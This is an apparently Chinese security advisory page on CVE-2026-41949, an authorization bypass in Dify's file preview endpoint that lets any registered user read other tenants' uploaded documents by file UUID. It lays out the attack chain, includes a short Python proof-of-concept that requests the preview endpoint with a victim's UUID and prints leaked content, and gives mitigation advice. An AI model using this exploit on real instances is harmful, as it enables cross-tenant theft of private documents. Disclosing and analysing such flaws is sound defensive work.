IPBUF安全漏洞报告
English
CVE-2026-41949 CVSS 5.9 中危

CVE-2026-41949 Dify文件预览授权绕过漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-41949
漏洞类型
权限绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

权限绕过IDOR信息泄露DifyAuthorization Bypass

漏洞概述

Dify 1.14.1及之前版本在文件预览端点存在授权绕过漏洞。该漏洞允许任何经过身份验证的用户,仅利用文件的UUID,即可读取所有租户和工作空间中上传的任意文档内容(限制为3000字符)。攻击者可以通过拦截文件UUID并访问`/console/api/files/{file_id}/preview`端点来提取敏感文档内容,而无需所有权验证。由于Dify Cloud允许未认证的免费自助注册,攻击者可以轻易创建账户进而利用此漏洞,导致跨租户数据泄露风险。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)漏洞,根本原因在于`/console/api/files/{file_id}/preview`接口缺乏严格的权限校验机制。当用户请求该接口时,后端仅验证了请求者的登录状态(是否持有有效Session或Token),而未验证请求者是否拥有目标文件ID所属的访问权限或是否属于正确的租户上下文。攻击者首先需要在Dify平台注册一个账户(由于支持开放注册,此步骤门槛极低)。随后,攻击者在浏览平台时可以通过抓包工具拦截网络流量,从响应数据中提取其他用户的文件UUID。利用获取到的UUID,攻击者构造HTTP GET请求发送至漏洞端点。由于系统缺失归属权检查,服务器直接返回文件的前3000字符预览内容,从而实现跨租户的数据窃取。

攻击链分析

STEP 1
1. 账户注册
攻击者利用Dify Cloud允许未认证自助注册的功能,创建一个普通账户以获取合法的身份凭证。
STEP 2
2. 信息收集
攻击者在平台内进行正常操作,同时使用抓包工具(如Burp Suite)拦截网络流量,寻找并记录其他用户上传文件的UUID。
STEP 3
3. 构造攻击请求
攻击者使用获取到的UUID,向`/console/api/files/{file_id}/preview`端点发送GET请求,绕过所有权检查。
STEP 4
4. 数据泄露
服务器返回目标文件的前3000字符预览内容,攻击者成功获取非授权的敏感文档信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_host = "https://target-dify-instance.com" # Step 1: Authentication # Note: Dify Cloud allows unauthenticated self-registration. # The attacker creates an account to obtain a valid session cookie or token. session = requests.Session() # login_data = {"email": "[email protected]", "password": "attacker_password"} # session.post(f"{target_host}/console/api/auth/login", json=login_data) # Step 2: Identify Target File UUID # The attacker intercepts a file UUID belonging to another tenant/workspace. # This UUID can be found in browser network traffic or API responses. victim_file_uuid = "uuid-of-the-target-file-here" # Step 3: Exploit Authorization Bypass # Construct the request to the vulnerable preview endpoint. # The system fails to check if the current user owns this file_id. poc_url = f"{target_host}/console/api/files/{victim_file_uuid}/preview" response = session.get(poc_url) # Step 4: Verify Exploitation if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Leaked content (first 3000 chars):\n{response.text}") else: print("[-] Failed to retrieve file.")

影响范围

Dify <= 1.14.1

防御指南

临时缓解措施
建议管理员立即升级至官方修复版本。若暂时无法升级,应通过WAF(Web应用防火墙)规则限制对`/console/api/files/{file_id}/preview`接口的访问,或实施网络访问控制列表(ACL),仅允许受信任的IP地址访问管理控制台接口,以降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表